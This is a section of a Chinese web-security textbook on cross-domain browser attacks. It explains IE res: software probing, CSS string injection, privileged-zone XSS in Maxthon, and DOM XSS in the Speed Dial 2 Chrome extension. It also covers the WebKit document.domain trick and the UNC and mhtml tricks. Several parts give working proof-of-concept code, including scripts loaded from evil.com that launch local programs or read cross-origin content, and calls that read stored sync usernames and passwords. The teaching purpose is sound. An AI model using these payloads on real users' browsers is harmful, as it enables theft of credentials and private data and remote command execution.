7.6 一些跨域操作技术

这里介绍的几乎都是由于浏览器相关缺陷而导致的跨域风险,有些已经修补,但是比较有代表性,可以举一反三。有的跨域技术带来的风险非常大,是一种很难得的漏洞。

7.6.1 IE res:协议跨域

“知道创宇”安全研究团队在2008年的xKungFoo上公布了很多独立研究的网马技巧,其中就包括IE res:协议跨域探测本地域是否存在目标软件的POC,这类技巧在公布前实际上存在已久,但并没有被广泛提及。2011年,Google Gmail被攻击事件就用到了这个POC,代码如下:

<script>
////////////////////////////////////////////////////////
//Name: img标签远程域检测本地域软件是否存在poc
//Description: IE浏览器都有效
//Author: Knownsec Team
//Date: 2008-11-03
////////////////////////////////////////////////////////
knownImg = {}
knownImg.resList = [ //数组中填写本地软件id值与图片地址值(res协议或file协议)
{id: 'Avira', res: 'res://C:\\Program%20Files\\Avira\\AntiVir%20PersonalEdition%20Classic\\setup.dll/#2/#132'},
{id: 'baidu', res: 'res://C:\\Program%20Files\\baidu\\Baidu%20Hi\\BaiduHi.exe/#2/#152'},
{id: 'Super Rabbit', res: 'res://C:\\Program%20Files\\Super%20Rabbit\\MagicSet\\timedate.exe/#2/BBNO'},
{id: '365Menshen', res: 'res://C:\\Program%20Files\\365Menshen\\menshen.exe/#2/#227'},
{id: 'quicktime', res: 'res://c:\\program%20files\\quicktime\\quicktimeplayer.exe/#2/#403'}
];
knownImg.ok_resList = new Array(); //确认软件存在时,填入此数组
knownImg.tmp_resList = new Array();

knownImg.checkSoft = function(){ //检测函数
if (document.all){
   x = new Array();
   for (i = 0; i < knownImg.resList.length; i++){
    x[i] = new Image();
    x[i].src = "";
    knownImg.ok_resList.push(knownImg.resList[i].id);
//将resList里的id值依次扔进ok_resList数组中
    x[i].onload = function(){
     //alert(knownImg.resList[i].id + ': return true');
    }
    x[i].onerror = function(){
     //alert(knownImg.resList[i].id + ': return false');
     knownImg.ok_resList.pop(); //软件不存在时,从ok_resList数组弹出对应的id值
    }
    x[i].src = knownImg.resList[i].res;
   }
}
}
knownImg.checkSoft();

alert(knownImg.ok_resList); //弹出
document.write('你的系统中存在以下软件:<br />'+knownImg.ok_resList.join('<br />'));
</script>

7.6.2 CSS String Injection跨域

IE下出现过一个CSS解析的跨域漏洞,罪魁祸首其实是CSS的高容错性和一个便捷的DOM操作接口,通过它们可以直接获取目标CSS区域的内容。

参考下面(《白帽子讲Web安全》的作者吴翰清)给出的样例,www.a.com/test.html代码如下:

<body>
{}body{font-family:
aaaaaaaaaaaaaa
bbbbbbbbbbbbbbbb
</body>

攻击者页面www.b.com/test2.html的代码如下:

<style>
@import url("http://www.a.com/test.html");
</style>
<script>
setTimeout(function(){
var t = document.body.currentStyle.fontFamily;
alert(t);
},2000);
</script>

被攻击者访问攻击者的页面时,弹出信息如图7-7所示。

252

图7-7 CSS String Injection效果

这是一个非常有趣的跨域技巧,@import方式导入外域CSS文件本身是一个正常的行为,然后IE通过document.body.currentStyle.fontFamily方式访问目标样式的font-family属性,它的值恰好是font-family之后的所有内容,这是CSS高容错性导致的(这在2.6.1节中已提过)。

7.6.3 浏览器特权区域风险

浏览器为了支持更多方便的功能,往往需要有一些特权区域存在,这些特权是相对浏览器Internet域来说的,比如,扩展、插件能够和本地系统打交道,一些功能页面也具备和本地系统等打交道的能力。

如果我们的XSS能够跨到这些特权区域里,那么就能够做很多更大权限的操作,这个过程叫做Cross Zone Scripting或Cross Context Scripting(简称XCS)。

举个经典的例子,傲游浏览器3存在远程命令执行漏洞,原因是因为傲游浏览器默认主页i.maxthon.cn是一个特权页面,且存在XSS可以直接控制该特权页面进行任意操作,我们按F12键打开开发者工具,可以看到一些特权API,如图7-8所示。

254

图7-8 maxthon特权API

在图7-8中,有两大全局对象包含丰富的API:maxthon与mxapi。下面看看maxthon对象,如maxthon.program.Program.launch API可以这样使用:

maxthon.program.Program.launch("calc.exe","C:\\windows\\system32\\");

执行这条语句时,可以打开一个计算器。再如mxapi.favorites.list API,可以获取收藏夹里保存的链接:

mxapi.favorites.list();

有这些特权API存在,同时我们还发现了i.maxthon.cn上的XSS:

http://api.i.maxthon.cn/feedback/feedback.php?callback=%3Cscript%20src=http://www.evil.com/exp.js%3E%3C/script%3E

请求时,页面输出:

<script src=http://www.evil.com/exp.js></script>({"code":1,"message":"\ u53cd\u9988\u5185\u5bb9\u4e3a\u7a7a"})

exp.js的代码如下:

maxthon.program.Program.launch("calc.exe","C:\\windows\\system32\\");

我们可以将这个XSS链接以iframe形式进入我们控制的网页中,当触发XSS时,就执行了系统命令,如图7-9所示。

255

图7-9 maxthon远程命令执行0day截图

7.6.4 浏览器扩展风险

浏览器为了丰富自身的功能,允许第三方提供各类插件或扩展,但这些扩展的权限如果没有控制好,就会带来很严重的后果。举一个经典的例子:Chrome扩展带来的安全风险,Chrome浏览器Speed Dial 2(快速拨号)应用存在DOM XSS,通过这个XSS可以越权操作,导致各种严重的信息泄漏问题。

Speed Dial 2会将用户访问的链接信息等存储在localStorage中,其中有一个关键字是_closed_tabs,这个关键字的值存储了最近关闭的链接信息,如:url、title,其中title如果存在恶意脚本,就会触发DOM XSS。

比如,访问speeddial2.html文件,代码如下:

<title>123'"><script>alert(1)</script>456</title>
speed dail 2 localStorage dom xss

然后关闭,当新建标签时,会看到弹出数字1,如图7-10所示。

256-1

图7-10 Speed Dial 2 XSS

按F12键打开开发人员工具,查看Resources→Local Storage,如图7-11所示。

256-2

图7-11 Chrome F12查看Local Storage

可以看到title的值是:

123'\"><script>alert(1)</script>456

上面这个title值由下面这个js文件来执行:

chrome-extension://jpfpebmajhhopeonhlcgidhclcccjcik/js_system/sidebar.hi story.js

代码片段如下:

var closedTabs = JSON.parse(localStorage["_closed_tabs"]);
if (!closedTabs) return false;
  for (var i=closedTabs.length-1; i >= 0; i--) {
    var li = document.createElement('li');
    var a = document.createElement('a');
    a.setAttribute('href',closedTabs[i].url);
    a.innerHTML = ( closedTabs[i].title ? '<b>'+closedTabs[i].title+'</b>' : '<b>No title</b>' ) + '<br />';
    li.style.backgroundImage = 'url(chrome://favicon/'+ closedTabs[i].url+')';
    li.setAttribute('class','openurl');
    li.setAttribute('rel',closedTabs[i].url);
    li.appendChild(a);
    $('#history ul#history_items').append(li);
};

就这样触发了DOM XSS。触发DOM XSS后,可进行以下操作。

1)偷取用户Speed Dial 2的账户和密码

这个账户和密码用于同步Speed Dial 2中的各种信息,如:拨号网址、分组信息、设置等。当开启了同步功能后,Speed Dial 2的账户和密码也会存储一份到localStorage中,可以通过下面的方法得到:

localStorage.getItem('options.sync.username');
localStorage.getItem('options.sync.password');

在类似下面这样的安装目录下可以找到这个扩展应用的源文件:

C:\Users\xxx\AppData\Local\Google\Chrome\UserData\Default\Extensions\jpfpebmajhhopeonhlcgidhclcccjcik\1.6.0.8_0

我们查看manifest.json配置文件可以看到这个扩展的权限:

"permissions": [ "bookmarks", "tabs", "history", "management", "unlimitedStorage", "chrome://favicon/", "http://*/", "https://*/", "contextMenus", "notifications" ],

这是一种特别不安全的授权,利用前面那个DOM XSS可以进行许多危险的操作,比如获取所有的书签,简单的代码如下:

chrome.bookmarks.getTree(function(o){console.log(o[0].children[0].childr en[2].children[1].url)})

2)进行跨域请求,比如请求Google账号的网络历史记录

var xhr = new XMLHttpRequest();
xhr.open("GET", "https://www.google.com/history/", true);
// 请求Google搜索的网络历史记录
xhr.onreadystatechange = function() {
  if (xhr.readyState == 4) {
    document.write(xhr.responseText);
  }
}
xhr.send();

这样的跨域请求危害非常大,在满足攻击的场景下,可以盗取、篡改目标用户任意网站的数据。实际上,这个插件的权限不应该设置这么大。

7.6.5 跨子域:document.domain技巧

跨子域:document domain技巧非常好用,属于浏览器的性质。现在很多网站把不同的子业务放到不同的子域下,比如:

www.foo.com
app.foo.com
blog.foo.com
message.foo.com

但是这些子域下总会存在一个类似proxy.html的文件,这个文件有如下代码:

<script>document.domain="foo.com";</script>

有一个合法的性质是:这个页面可以设置document.domain为当前子域或比当前子域更高级的域。一般顶级就到了根域,如果设置为其他域,浏览器就会报权限错误。

根据这个性质,我们做了一个测试样本,这个测试样例利用WebKit内核浏览器的一个缺陷(由sog1发现),导致顶级的域是域名后缀,比如foo.com的域名后缀是com。

以下样例在Chrome下访问,测试样本有4个文件:readme.txt、attack.htm、poc.js和proxy.htm。将这4个文件放到Web服务的/proxy/目录下,readme.txt的内容如下:

设置hosts:
127.0.0.1  www.evil.com
127.0.0.1  user.proxy.com

原理:
设置:document.domain='com';
在webkit内核下,任意跨了。

访问http://www.evil.com/proxy/attack.htm

attack.htm的代码如下:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body></body>

<script>
document.domain="com"; // 设置域为WebKit认为的顶级域

function inj_iframe(src,onload){
  /*注入框架*/
  var o = document.createElement("iframe");
  o.src = src;
  o.width = o.height = 300;
  o.id="proxy";
  if(onload) o.onload = onload; // iframe加载完成后执行onload函数
  document.getElementsByTagName("body")[0].appendChild(o);
  return o;
}

function inject(){
  var d = document.getElementById("proxy").contentDocument || document.getElementById("proxy").contentWindow.document
  //d.write('123');
  var x = d.createElement("SCRIPT");
  x.src ="http://www.evil.com/proxy/poc.js";  // 注入poc.js文件
  x.defer = true;
  d.getElementsByTagName("HEAD")[0].appendChild(x);

}

// iframe方式请求proxy.htm文件,来自user.proxy.com域
var o = inj_iframe("http://user.proxy.com/proxy/proxy.htm",inject);
</script>

</html>

proxy.htm的代码如下:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<script>
getTransport = function( )
{
   var xmlHttp;
   if (window.ActiveXObject)
   {
      xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
   }
   else if (window.XMLHttpRequest)
   {
      xmlHttp = new XMLHttpRequest();
   }
   return xmlHttp;
};
document.domain="com";
// 主要是这里,user.proxy.com的proxy.htm也将自己的域设置为com
alert("proxy.htm: "+document.domain);
</script>
</head>
<body>
i am proxy.htm
</body>
</html>

当attack.htm通过iframe方式载入不同域的proxy.htm后,由于document.domain值是一样的,都是com。对浏览器来说,这其实就是合法的,不受同源策略限制后,就可以成功地往proxy.htm上下文注入poc.js文件:

alert(document.domain+" | poc.js");
xhr = getTransport();

function req(method,src,argv){
  xhr.open(method,src,false);
  if(method=="POST")xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  xhr.send(argv);
  return xhr.responseText;
}
// 因在proxy.htm上下文执行这段代码,那么请求proxy.htm所在域的任何内容也就变得合法了
x = req("GET","http://user.proxy.com/proxy/proxy.htm");
alert(x); // 弹出proxy.htm的内容

最后,弹出proxy.htm内容的效果如图7-12所示。

262-1

图7-12 WebKit下跨子域效果

这种跨子域的问题在Web 2.0网站上几乎是常态,有的网站的设置不通过proxy.html文件,而是在任意页面都嵌入公共的js文件,在这个js文件里设置document.domain为顶级域,这样的做法给XSS攻击带来了巨大便利,即只要在任意一个子域下找到XSS漏洞,都能危害到目标页面。

7.6.6 更多经典的跨域索引

1. 利用UNC“跨域”

superhei写的一篇文章《走向本地的邪恶之路》,文章地址是:

http://www.80vul.com/webzine_0x05/0x06走向本地的邪恶之路.html

大意是通过Internet域(http协议)的代码,比如<iframe>标签利用file协议调用本地的XSS漏洞页面,并通过这个本地XSS执行任意的JavaScript代码,由于是file协议,权限会更大,比如,利用AJAX读取本地文件。

测试中发现IE可以通过UNC方式(“统一命名约定”地址用于确定保存在网络服务器上的文件位置)访问本地文件,如:

file:////127.0.0.1/c$/

由于是UNC方式,浏览器以为这是Internet域,就允许访问,这样实际上就跨协议了(http协议跨到file协议)。如果本地文件存在XSS漏洞,就可以被调用触发。关于这部分的详情,可以参superhei写的这篇文章。

2. mhtml:协议跨域

暗夜潜风写的《IE下MHTML协议带来的跨域危害》也是跨域攻击的经典,文章地址是:

http://www.80vul.com/webzine_0x05/0x05 IE下MHTML协议带来的跨域危害.html

这篇文章已写得足够详细,大家可以参考其中的内容,并参考superhei之后发表的:结合mhtml跨域漏洞的各种利用技巧《Hacking with mhtml protocol handler》,网址为:

http://www.80vul.com/mhtml/Hacking with mhtml protocol handler.txt

这个漏洞已经被修补,如果现在还要测试,可以安装WinXP虚拟机,在IE 6环境下直接测试即可。